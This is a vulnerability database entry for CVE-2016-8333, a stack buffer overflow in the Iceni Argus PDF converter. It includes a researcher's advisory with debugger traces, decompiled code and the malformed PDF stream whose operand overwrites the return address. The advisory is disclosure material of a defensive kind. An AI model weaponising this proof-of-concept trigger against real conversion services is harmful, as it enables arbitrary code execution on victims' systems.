Vulnerabilities > CVE-2016-8333 - Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Iceni Argus 6.6.04

047910
CVSS 6.8 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL

Summary

An exploitable stack-based buffer overflow vulnerability exists in the ipfSetColourStroke functionality of Iceni Argus version 6.6.04 A specially crafted pdf file can cause a buffer overflow resulting in arbitrary code execution. An attacker can provide a malicious pdf file to trigger this vulnerability.

Vulnerable Configurations

Part Description Count
Application
Iceni
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

Seebug

bulletinFamilyexploit
description### Summary An exploitable stack-based buffer overflow vulnerability exists in the ipfSetColourStroke functionality of Iceni Argus. A specially crafted pdf file can cause a buffer overflow resulting in arbitrary code exection. An attacker can provide a malicious pdf file to trigger this vulnerability. ### Tested Versions Iceni Argus Version 6.6.04 (Sep 7 2012) NK ### Product URLs http://www.iceni.com/legacy.htm ### CVSSv3 Score 8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CVSSv3 Calculator: https://www.first.org/cvss/calculator/3.0 ### Details This vulnerability is present in the Iceni Argus PDF which is used inter alia to convert pdf files to (x)html form. This product is mainly used by MarkLogic for pdf document conversions as part of their web based document search and rendering. A specially crafted PDF file can lead to an stack based buffer overflow and ultimately to remote code execution. Let's investigate this vulnerability. After executing the PDF to html converter with a malformed pdf file as an input we can easily observe in gdb that the return address has been overwritten: ``` Continuing. Loading configuration... Parsing macros... Macro synth-bookmarks='true' Macro image-output='true' Macro text-output='true' Macro zones='false' Macro ignore-text='true' Macro remove-overprint='false' Macro illustrations='true' Macro line-breaks='true' Macro image-quality='75' Macro page-start='' Macro page-end='' Macro document-start='' Macro document-end='' features='11140221' Processing... Analysing '/home/icewall/bugs/cvtpdf/config/conv.pdf' Pages 1 to 1 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0x8f58750 --> 0x8f57ef0 --> 0x1 EDX: 0xc ('\x0c') ESI: 0x0 EDI: 0x0 EBP: 0x3f800000 ESP: 0xffcf9010 --> 0x0 EIP: 0x41411eb8 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41411eb8 [------------------------------------stack-------------------------------------] 0000| 0xffcf9010 --> 0x0 0004| 0xffcf9014 --> 0xffcf9064 --> 0xad9708b --> 0xd6c5380a 0008| 0xffcf9018 --> 0x839da4d ("Does not exist") 0012| 0xffcf901c --> 0xf75f4000 --> 0x1aada8 0016| 0xffcf9020 --> 0xf75f4420 --> 0x0 0020| 0xffcf9024 --> 0xad97080 --> 0x0 0024| 0xffcf9028 --> 0xffcf9068 --> 0x8250f50 --> 0x57e58955 0028| 0xffcf902c --> 0x83f202f ("Unknown token ignored: '%s'\n") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV ``` Using rr debugger we can easily return a couple if instructions back and see where overflow occurred. ``` (rr) rsi Warning: not running or target is remote 0x08250fdd in ipfSetColourStroke () (rr) context $11 = 0x3d3 [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0x8f58750 --> 0x8f57ef0 --> 0x1 EDX: 0xc ('\x0c') ESI: 0x0 EDI: 0x0 EBP: 0x3f800000 ESP: 0xffcf900c --> 0x41411eb8 EIP: 0x8250fdd --> 0xcd7de8c3 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8250fda: pop esi 0x8250fdb: pop edi 0x8250fdc: pop ebp => 0x8250fdd: ret 0x8250fde: call 0x806dd60 <icnErrorGetCode> 0x8250fe3: add esp,0x2c 0x8250fe6: pop ebx 0x8250fe7: pop esi [------------------------------------stack-------------------------------------] 0000| 0xffcf900c --> 0x41411eb8 0004| 0xffcf9010 --> 0x0 0008| 0xffcf9014 --> 0xffcf9064 --> 0xad9708b --> 0xd6c5380a 0012| 0xffcf9018 --> 0x839da4d ("Does not exist") 0016| 0xffcf901c --> 0xf75f4000 --> 0x1aada8 0020| 0xffcf9020 --> 0xf75f4420 --> 0x0 0024| 0xffcf9024 --> 0xad97080 --> 0x0 0028| 0xffcf9028 --> 0xffcf9068 --> 0x8250f50 --> 0x57e58955 [------------------------------------------------------------------------------] ``` Now setting a hardware breakpoint on 0xffcf900c where the original ret address was located and executing a reverse-continue should lands in the place where the overwrite occurred. ``` (rr) rc Continuing. Warning: not running or target is remote Hardware watchpoint 3: *0xffcf900c Old value = <unreadable> New value = 0x80ed802 0x08155000 in realVal () (rr) bt #0 0x08155000 in realVal () #1 0x0815504c in getRealArgArray () #2 0x08250f87 in ipfSetColourStroke () #3 0x080ed802 in ipDocExecStack () #4 0x080b6ed3 in ipStreamParse () #5 0x080dc967 in ipPageParse () #6 0x081abe79 in gatherPageWords () #7 0x0822393f in gatherPageFontStats () #8 0x0806b4c6 in icnDocAnalyseFonts () #9 0x080535c4 in analyseDocPages () #10 0x0805797e in dumpDocPages () #11 0x08053f71 in dumpDoc () #12 0x08054596 in dumpFile () #13 0x080548e7 in dumpCommandLine () #14 0x08052111 in icnArgusExtract () #15 0x08050566 in main () #16 0xf7462af3 in __libc_start_main (main=0x804fe00 <main>, argc=0x2, argv=0xffd30014, init=0x839ae00 <__libc_csu_init>, fini=0x839adf0 <__libc_csu_fini>, rtld_fini=0xf76fe160 <_dl_fini>, stack_end=0xffd3000c) at libc-start.c:287 #17 0x0804fd61 in _start () (rr) context $13 = 0x3d3 [----------------------------------registers-----------------------------------] EAX: 0x41411eb8 EBX: 0x8f58750 --> 0x8f57ef0 --> 0x1 ECX: 0xf6ff1008 --> 0x0 EDX: 0xffcf900c --> 0x80ed802 --> 0x840fc085 ESI: 0xffcf900c --> 0x80ed802 --> 0x840fc085 DI: 0x1 EBP: 0xffcf8fa8 --> 0xffcf8fc8 --> 0xffcf9008 --> 0xffcf9078 --> 0xffcf90a8 --> 0xffcf90d8 --> 0xffcf9178 --> 0xffcf92d8 --> 0xffcf9308 --> 0xffcf9348 --> 0xffcf97d8 --> 0xffcf9c78 --> 0xffcf9d48 --> 0xffcf9da8 --> 0xffcf9dc8 --> 0xffd2ff78 --> 0x0 ESP: 0xffcf8f90 --> 0xf6ff1008 --> 0x0 EIP: 0x8155000 --> 0xc0310289 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8154ff8: jmp 0x8154fad 0x8154ffa: mov eax,DWORD PTR [edx+0x4] 0x8154ffd: mov edx,DWORD PTR [ebp+0x8] => 0x8155000: mov DWORD PTR [edx],eax 0x8155002: xor eax,eax 0x8155004: jmp 0x8154fad 0x8155006: lea esi,[esi+0x0] 0x8155009: lea edi,[edi+eiz*1+0x0] [------------------------------------stack-------------------------------------] 0000| 0xffcf8f90 --> 0xf6ff1008 --> 0x0 0004| 0xffcf8f94 --> 0x3800 ('') 0008| 0xffcf8f98 --> 0xad1343c ("DeviceN") 0012| 0xffcf8f9c --> 0x8f58750 --> 0x8f57ef0 --> 0x1 0016| 0xffcf8fa0 --> 0x8f58750 --> 0x8f57ef0 --> 0x1 0020| 0xffcf8fa4 --> 0x8f58750 --> 0x8f57ef0 --> 0x1 0024| 0xffcf8fa8 --> 0xffcf8fc8 --> 0xffcf9008 --> 0xffcf9078 --> 0xffcf90a8 --> 0xffcf90d8 --> 0xffcf9178 --> 0xffcf92d8 --> 0xffcf9308 --> 0xffcf9348 --> 0xffcf97d8 --> 0xffcf9c78 --> 0xffcf9d48 --> 0xffcf9da8 --> 0xffcf9dc8 --> 0xffd2ff78 --> 0x0 0028| 0xffcf8fac --> 0x815504c --> 0x1a75c085 [------------------------------------------------------------------------------] ``` Indeed, we see a write operation with eax set to the value which was used to overwrite our return address. A quick glance at the decompiled code : ``` Line 1 int __cdecl realVal(float *number, NumberObject *object) Line 2 { Line 3 int v2; // eax@4 Line 4 int result; // eax@4 Line 5 int v4; // eax@7 Line 6 int v5; // edx@7 Line 7 int v6; // ecx@7 Line 8 Line 9 if ( object ) Line 10 { Line 11 if ( object->type == 5 ) Line 12 { Line 13 *number = object->value; Line 14 result = 0; Line 15 } Line 16 else if ( object->type == 6 ) Line 17 { Line 18 *number = *&object->value; Line 19 result = 0; Line 20 } Line 21 else ``` We see this write operation in line 18 where the `number` variable is dereferenced. But, to answer why the overflow occurred we need to go back to the `ipfSetColourStroke` function. Its code is represented as follow: ``` Line 1 int __cdecl ipfSetColourStroke(int opStack) Line 2 { Line 3 struct_v1 *ICNChain; // esi@1 Line 4 int v2; // edx@1 Line 5 int v3; // ecx@1 Line 6 signed int v4; // ecx@2 MAPDST Line 7 int dstArray[9]; // [esp+14h] [ebp-24h]@1 Line 8 Line 9 ICNChain = *(opStack + 0x1095D4); Line 10 if ( getRealArgArray(dstArray, ICNChain->len, opStack) ) Line 11 return icnErrorGetCode(v3, v2); Line 12 v4 = 1; Line 13 if ( ICNChain->len ) Line 14 { Line 15 do Line 16 { Line 17 *(&ICNChain->byte5D0 + v4) = dstArray[v4 - 1]; Line 18 ++v4; Line 19 } Line 20 while ( ICNChain->len > v4 ); Line 21 } Line 22 normaliseLabColour(ICNChain->byte5D0, &ICNChain[1].gap0[2]); Line 23 return 0; Line 24} ``` In line 9 we see that the `getRealArgArray` function copies elements of the opStack container to a temporary array called `dstArray`. The amount of copied elements is specified by `ICNChain->len`. However, `dstArray` can handle only 9 four byte values, while `ICNChain->len` equals 12. Let we investigate `getRealArgArray` function: ``` Line 1 int __cdecl getRealArgArray(int *dstArray, int srcArrayLen, int opStack) Line 2 { Line 3 int v3; // edi@2 Line 4 float *numPtr; // esi@2 Line 5 int v5; // edx@3 Line 6 int v6; // ecx@3 Line 7 NumberObject *objNumber; // eax@5 Line 8 Line 9 if ( srcArrayLen <= 0 ) Line 10 return 0; Line 11 v3 = 0; Line 12 numPtr = &dstArray[srcArrayLen - 1]; Line 13 while ( 1 ) Line 14 { Line 15 objNumber = ipDocOpStackPop(opStack); Line 16 if ( !objNumber || realVal(numPtr, objNumber) ) Line 17 break; Line 18 ++v3; Line 19 --numPtr; Line 20 if ( v3 == srcArrayLen ) Line 21 return 0; Line 22 } Line 23 return icnErrorGetCode(v6, v5); Line 24 } ``` As mentioned before, `srcArrayLen` elements from `opStack` are copied to `dstArray`. There is no check to ensure that `srcArrayLen` is smaller than the size of `dstArray` which causes a buffer overflow. Let's see which part of the malformed pdf leads to this issue: ``` (...) Line 1 12 0 obj Line 2 << Line 3 /Length 81>> Line 4 stream Line 5 Line 6 q Line 7 /CS0 CS Line 8 0.0 0.0 0.0 1.0 0.0 0.0 0.0 0.0 0.0 1.0 12.07000000 0.0 Line 9 SC 50 400 50 50 re Line 10 B Line 11 Q Line 12 Line 13 endstream Line 14 endobj (...) ``` The function `ipfSetColourStroke` where `dstArray` is defined, is related to Stroke Color Space functionality which is confirmed by the use of the `CS` operator at line 7. At line 8 we see 12 operator parameters that are used, which corresponds to the `ICNChain->len` value. The return address is overwritten by second to last value `12.07000000`. An attacker who controls this value can cause arbitrary code execution. ### Crash Information ``` Loading configuration... Parsing macros... Macro synth-bookmarks='true' Macro image-output='true' Macro text-output='true' Macro zones='false' Macro ignore-text='true' Macro remove-overprint='false' Macro illustrations='true' Macro line-breaks='true' Macro image-quality='75' Macro page-start='' Macro page-end='' Macro document-start='' Macro document-end='' features='11140221' Processing... Analysing '/home/icewall/bugs/cvtpdf/config/conv.pdf' Pages 1 to 1 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0x8f58750 --> 0x8f57ef0 --> 0x1 EDX: 0xc ('\x0c') ESI: 0x0 EDI: 0x0 EBP: 0x3f800000 ESP: 0xffcf9010 --> 0x0 EIP: 0x41411eb8 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41411eb8 [------------------------------------stack-------------------------------------] 0000| 0xffcf9010 --> 0x0 0004| 0xffcf9014 --> 0xffcf9064 --> 0xad9708b --> 0xd6c5380a 0008| 0xffcf9018 --> 0x839da4d ("Does not exist") 0012| 0xffcf901c --> 0xf75f4000 --> 0x1aada8 0016| 0xffcf9020 --> 0xf75f4420 --> 0x0 0020| 0xffcf9024 --> 0xad97080 --> 0x0 0024| 0xffcf9028 --> 0xffcf9068 --> 0x8250f50 --> 0x57e58955 0028| 0xffcf902c --> 0x83f202f ("Unknown token ignored: '%s'\n") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV gdb-peda$ exploitable -m EXCEPTION_FAULTING_ADDRESS:0x0000004e828283 EXCEPTION_CODE:0xb FAULTING_INSTRUCTION:? MAJOR_HASH:d0c6e3af970659240ff8ccea76a7dce7 MINOR_HASH:d0c6e3af970659240ff8ccea76a7dce7 STACK_DEPTH:2 STACK_FRAME:Unknown+0x0 STACK_FRAME:Unknown+0x0 INSTRUCTION_ADDRESS:0x0000004e828283 INVOKING_STACK_FRAME:0 DESCRIPTION:Segmentation fault on program counter SHORT_DESCRIPTION:SegFaultOnPc (3/22) OTHER_RULES:PossibleStackCorruption (7/22), AccessViolation (21/22) CLASSIFICATION:EXPLOITABLE ``` ### Timeline * 2016—09-16 - Vendor Disclosure * 2016-10-14 - Public Release
idSSV:96663
last seen2017-11-19
modified2017-10-12
published2017-10-12
reporterRoot
titleIceni Argus ipfSetColourStroke Code Execution Vulnerability(CVE-2016-8333)

Talos

idTALOS-2016-0200
last seen2019-05-29
published2016-10-26
reporterTalos Intelligence
sourcehttp://www.talosintelligence.com/vulnerability_reports/TALOS-2016-0200
titleIceni Argus ipfSetColourStroke Code Execution Vulnerability